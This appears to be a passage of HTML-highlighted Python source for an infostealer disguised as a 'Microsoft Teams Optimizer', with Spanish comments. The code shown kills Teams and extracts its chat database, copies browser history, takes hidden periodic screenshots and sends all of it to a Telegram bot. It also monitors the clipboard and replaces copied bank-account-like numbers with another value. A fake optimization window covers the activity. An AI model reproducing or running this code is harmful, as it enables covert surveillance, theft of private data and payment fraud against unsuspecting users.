&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exe_path = os.path.join(get_extracted_path(), PARSER_EXE)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists(exe_path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] No se encontró el parser exe en {exe_path}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Parseando LevelDB con {PARSER_EXE}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Eliminamos check=True para manejar el código de salida manualmente&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# O mantenemos check=True y usamos try-except (recomendado para atrapar errores)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result = subprocess.run(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [exe_path, &lt;span style="color:#e6db74"&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, leveldb_folder, &lt;span style="color:#e6db74"&gt;&amp;#34;-o&amp;#34;&lt;/span&gt;, output_json],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; capture_output=True, &lt;span style="color:#75715e"&gt;# Capturamos lo que diga el .exe para depurar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text=True,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; check=True, &lt;span style="color:#75715e"&gt;# Esto lanza la excepción si falla&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; creationflags=subprocess.CREATE_NO_WINDOW
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Parser ejecutado correctamente.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_file(output_json)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except subprocess.CalledProcessError as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] El parser falló (Exit code {e.returncode}).&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34; Error output: {e.stderr}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Muestra por qué falló el exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Continuando ejecución sin detener el script...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Para cualquier otro error imprevisto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error genérico al ejecutar el parser: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def extract_teams_chats()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im teams.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im Teams.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im Teams2.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; db_folder = send_teams_db_zip()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; db_folder&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parse_teams_with_exe(db_folder)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def browser_stealer(browser)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ud = os.path.join(os.environ[&lt;span style="color:#e6db74"&gt;&amp;#39;LOCALAPPDATA&amp;#39;&lt;/span&gt;], browser, &lt;span style="color:#e6db74"&gt;&amp;#34;User Data&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Default&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hist = os.path.join(ud, &lt;span style="color:#e6db74"&gt;&amp;#34;History&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; os.path.exists(hist)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp = &lt;span style="color:#e6db74"&gt;&amp;#34;history_temp.db&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shutil.copy2(hist, tmp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; conn = sqlite3.connect(tmp); cur = conn.cursor()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cur.execute(&lt;span style="color:#e6db74"&gt;&amp;#34;SELECT url,title,visit_count FROM urls ORDER BY visit_count DESC&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(&lt;span style="color:#e6db74"&gt;&amp;#34;history.log&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;,encoding=&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; url,title,cnt &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; cur.fetchall()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f.write(f&lt;span style="color:#e6db74"&gt;&amp;#34;{cnt} visits | {title} | {url}\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; conn.close(); os.remove(tmp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_file(&lt;span style="color:#e6db74"&gt;&amp;#34;history.log&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# —— Captura de pantalla periódica sin consola ——&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_screenshot(file_path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(file_path, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {&lt;span style="color:#e6db74"&gt;&amp;#34;photo&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (os.path.basename(file_path), f)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;caption&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f&lt;span style="color:#e6db74"&gt;&amp;#34;Screenshot from {platform.node()}&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response = requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto&amp;#34;&lt;/span&gt;, files=files, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; response.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(file_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def take_screenshot(filename)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img = ImageGrab.grab()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img.save(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_screenshot(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def periodic_screenshots(interval=&lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filename = f&lt;span style="color:#e6db74"&gt;&amp;#34;screenshot_{count}.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; take_screenshot(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count += &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(interval)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def start_screenshot_thread()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; t = threading.Thread(target=periodic_screenshots, daemon=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; t.start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_message(message)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not message&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] El mensaje está vacío, no se enviará.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando mensaje: {message}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Imprime lo que se va a enviar para depuración&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; message}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r = requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendMessage&amp;#34;&lt;/span&gt;, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; r.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Mensaje enviado: {message}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error enviando mensaje: {r.text}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Función para monitorear el portapapeles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def monitor_clipboard()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; prev_content = None &lt;span style="color:#75715e"&gt;# Almacenará el contenido previo del portapapeles para comparar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_content = pyperclip.paste()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Verificar si el contenido ha cambiado&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; clipboard_content != prev_content&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido del portapapeles: {clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_message(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido copiado: {clipboard_content}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Enviar el contenido al bot de Telegram&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Verificar si el contenido es un número de cuenta bancaria &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; re.match(r&lt;span style="color:#e6db74"&gt;&amp;#39;\d{4}-\d{4}-\d{4}-\d{4}&amp;#39;&lt;/span&gt;, clipboard_content)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;¡Número de cuenta detectado! Reemplazando: {clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Cambiarlo por otro número&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; new_clipboard_content = &lt;span style="color:#e6db74"&gt;&amp;#39;1111-2222-3333-4444&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyperclip.copy(new_clipboard_content)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Nuevo contenido del portapapeles: {new_clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_message(f&lt;span style="color:#e6db74"&gt;&amp;#34;Se ha reemplazado un número de cuenta bancaria: {new_clipboard_content}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; prev_content = clipboard_content &lt;span style="color:#75715e"&gt;# Actualiza el contenido previo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Función para mostrar la pantalla de &amp;#34;optimización&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def show_optimization_screen()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root = tk.Tk()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.title(&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams Optimizer&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.geometry(&lt;span style="color:#e6db74"&gt;&amp;#34;600x400&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.resizable(False, False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.configure(bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Centrar la ventana&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window_width = &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window_height = &lt;span style="color:#ae81ff"&gt;400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; screen_width = root.winfo_screenwidth()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; screen_height = root.winfo_screenheight()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; x = (screen_width - window_width) // &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; y = (screen_height - window_height) // &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.geometry(f&lt;span style="color:#e6db74"&gt;&amp;#34;{window_width}x{window_height}+{x}+{y}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Cabecera&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; header = tk.Frame(root, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#005a9e&amp;#34;&lt;/span&gt;, height=&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; header.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Logo de Microsoft&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = Image.open(&lt;span style="color:#e6db74"&gt;&amp;#34;TeamsBoost1.ico&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = ms_logo.resize((&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;), Image.LANCZOS)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ms_logo = ImageTk.PhotoImage(ms_logo)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label = tk.Label(header, image=TeamsBoost1, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#005a9e&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label.image = ms_logo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logo_label.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title = tk.Label(header, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams Optimizer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;bold&amp;#34;&lt;/span&gt;), fg=&lt;span style="color:#e6db74"&gt;&amp;#34;white&amp;#34;&lt;/span&gt;, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#800080&amp;#34;&lt;/span&gt;)
